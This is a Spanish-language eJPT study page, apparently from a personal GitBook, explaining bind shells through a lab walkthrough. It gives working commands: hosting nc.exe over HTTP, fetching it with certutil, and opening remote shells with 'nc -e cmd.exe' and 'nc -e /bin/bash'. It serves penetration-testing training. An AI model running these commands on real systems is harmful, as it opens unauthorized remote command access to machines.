> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/explotacion/shells/bind-shells.md).

# Bind Shells

## 🧠 ¿Qué es un Bind Shell?

Un **Bind Shell** es un tipo de **shell remoto** en el que la **víctima (sistema objetivo)** escucha en un puerto determinado, y el **atacante se conecta a ese puerto** para obtener acceso remoto.

* **El objetivo actúa como servidor** y escucha conexiones entrantes.
* El atacante **se conecta como cliente** y ejecuta comandos remotamente.

***

## ⚙️ ¿Cómo funciona?

1. El atacante consigue que la máquina víctima **escuche en un puerto** (por ejemplo, 4444).
2. Cuando el atacante se conecta, se abre un **intérprete de comandos** (como `/bin/bash` o `cmd.exe`).
3. El atacante puede entonces ejecutar comandos de manera remota.

<figure><img src="/files/ryJgyugBxbNM94Aoethv" alt=""><figcaption></figcaption></figure>

***

## 🧪 Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la instancia de GUI de Kali del atacante y a la instancia de GUI de Windows de destino.

Se puede acceder a estos sistemas a través del selector de pestañas en la parte superior del laboratorio, como se muestra en la siguiente captura de pantalla.

Este laboratorio requiere dos sistemas para poder comprender cómo se comunica Netcat ya sea a través de un oyente o cuando se conecta a un puerto.

<figure><img src="/files/GQq9TO8bZEC3jBYMV6rq" alt=""><figcaption></figcaption></figure>

**Paso 2:** Transferir el ejecutable de Netcat al sistema Windows.

Para configurar un shell de enlace con Netcat, necesitaremos transferir el ejecutable **nc.exe** al sistema de destino que ejecuta Windows.

Kali Linux viene preempaquetado con el ejecutable **nc.exe** , podemos alojar el ejecutable configurando un servidor HTTP con Python.

El primer paso consiste en acceder al directorio **/usr/share/windows-binaries** . Para ello, ejecute el siguiente comando:

**Dominio:**

```
cd /usr/share/windows-binaries
```

Luego podemos configurar un servidor HTTP con Python dentro de este directorio ejecutando el siguiente comando:

**Dominio:**

```
python -m SimpleHTTPServer 80
```

<figure><img src="/files/VzujunjvRTtzpgvtZFYx" alt=""><figcaption></figcaption></figure>

Ahora necesitará identificar la dirección IP de su sistema Kali Linux, esto se puede hacer ejecutando el siguiente comando en el sistema Kali:

**Dominio:**

```
ifconfig
```

Como se muestra en la siguiente captura de pantalla, la dirección IP de Kali Linux en este caso es 10.10.31.2. En su caso, podría ser diferente.

<figure><img src="/files/qYGBkYaU9jrDxfJIn8BO" alt=""><figcaption></figcaption></figure>

Ahora deberá navegar hasta el sistema de destino que ejecuta Windows haciendo clic en la pestaña **Máquina de destino** en la parte superior del laboratorio, como se muestra en la siguiente captura de pantalla.

<figure><img src="/files/eEEMaclb3nwwfvFMsTZR" alt=""><figcaption></figcaption></figure>

Luego deberá abrir un símbolo del sistema, navegar al directorio del Escritorio y ejecutar el siguiente comando para descargar el ejecutable **nc.exe** del servidor web alojado en el sistema Kali Linux.

**Dominio**

```
certutil -urlcache -f http://10.10.31.2/nc.exe nc.exe
```

<figure><img src="/files/nDAldxbRUY794fh5YsdW" alt=""><figcaption></figcaption></figure>

**Paso 3:** Configurar el escucha del shell de enlace.

Ahora que hemos transferido el ejecutable **nc.exe** al sistema Windows, podemos comenzar a configurar el escucha de shell de enlace en el sistema Windows.

En este caso, nos conectaremos a un escucha de shell de enlace en el sistema Windows, como resultado, necesitaremos configurar un escucha de Netcat en el sistema Windows y configurarlo para ejecutar **cmd.exe** cuando se realiza una conexión desde un cliente.

Esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
nc.exe -nvlp 1234 -e cmd.exe
```

<figure><img src="/files/ZGh5jfETRAuXRsu5UUQ6" alt=""><figcaption></figcaption></figure>

Ahora podemos conectarnos al escucha del shell de enlace que se ejecuta en el sistema Windows desde el sistema Kali Linux ejecutando el siguiente comando:

**Dominio:**

```
nc -nv 10.0.23.27 1234
```

Como se muestra en la siguiente captura de pantalla, conectarse al escucha del shell bind nos proporcionará un shell remoto en el sistema Windows.

<figure><img src="/files/a7eerMxgGJ147UQKpXMu" alt=""><figcaption></figcaption></figure>

Este proceso también se puede revertir, por ejemplo, si quisiéramos obtener un shell de enlace en el sistema Kali Linux desde el sistema Windows, necesitaríamos configurar un escucha Netcat en el sistema Kali Linux y configurarlo para ejecutar un shell como **/bin/bash** .

Esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
nc -nvlp 1234 -e /bin/bash
```

<figure><img src="/files/d69sx2Og217yeYdPGFBW" alt=""><figcaption></figcaption></figure>

Ahora podemos conectarnos al escucha del shell de enlace en el sistema Kali Linux desde el sistema Windows ejecutando el siguiente comando:

**Dominio:**

```
nc.exe -nv 10.10.31.2 1234
```

Como se muestra en la siguiente captura de pantalla, conectarse al escucha del shell bind nos proporcionará un shell remoto en el sistema Kali Linux.

<figure><img src="/files/TBaQut5OTvzlexPqs23n" alt=""><figcaption></figcaption></figure>

## Conclusión

En este laboratorio, exploramos el proceso de configuración de un shell de enlace con Netcat.
